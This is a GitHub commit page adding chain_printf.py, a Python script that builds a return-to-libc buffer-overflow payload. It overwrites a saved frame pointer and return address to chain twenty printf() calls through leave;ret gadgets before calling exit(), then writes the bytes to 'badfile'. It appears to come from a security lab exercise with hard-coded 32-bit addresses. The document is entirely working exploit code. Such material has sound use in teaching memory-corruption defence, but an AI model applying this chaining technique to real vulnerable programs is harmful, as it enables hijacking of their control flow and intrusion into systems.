Skip to content

Commit c33e199

Browse files
authored
Create chain_printf.py
1 parent 8ce8bd8 commit c33e199

File tree

1 file changed

+36
-0
lines changed

1 file changed

+36
-0
lines changed

chain_printf.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#!/usr/bin/python3
2+
import sys
3+
4+
def tobytes (value):
5+
return (value).to_bytes(4,byteorder='little')
6+
7+
leaveret = 0x08048565 # Address of leaveret
8+
sh_addr = 0xbffffdd0 # Address of "/bin/sh"
9+
printf_addr = 0xb7e51670 # Address of printf()
10+
exit_addr = 0xb7e369d0 # Address of exit()
11+
ebp_foo = 0xbfffe4c8 # foo()'s frame pointer
12+
13+
content = bytearray(0xaa for i in range(112))
14+
15+
# From foo() to the first function
16+
ebp_next = ebp_foo + 0x20
17+
content += tobytes(ebp_next)
18+
content += tobytes(leaveret)
19+
content += b'A' * (0x20 - 2*4)
20+
21+
# printf()
22+
for i in range(20):
23+
ebp_next += 0x20
24+
content += tobytes(ebp_next)
25+
content += tobytes(printf_addr)
26+
content += tobytes(leaveret)
27+
content += tobytes(sh_addr)
28+
content += b'A' * (0x20 - 4*4)
29+
30+
# exit()
31+
content += tobytes(0xFFFFFFFF) # The value is not important
32+
content += tobytes(exit_addr)
33+
34+
# Write the content to a file
35+
with open("badfile", "wb") as f:
36+
f.write(content)

0 commit comments

Comments
 (0)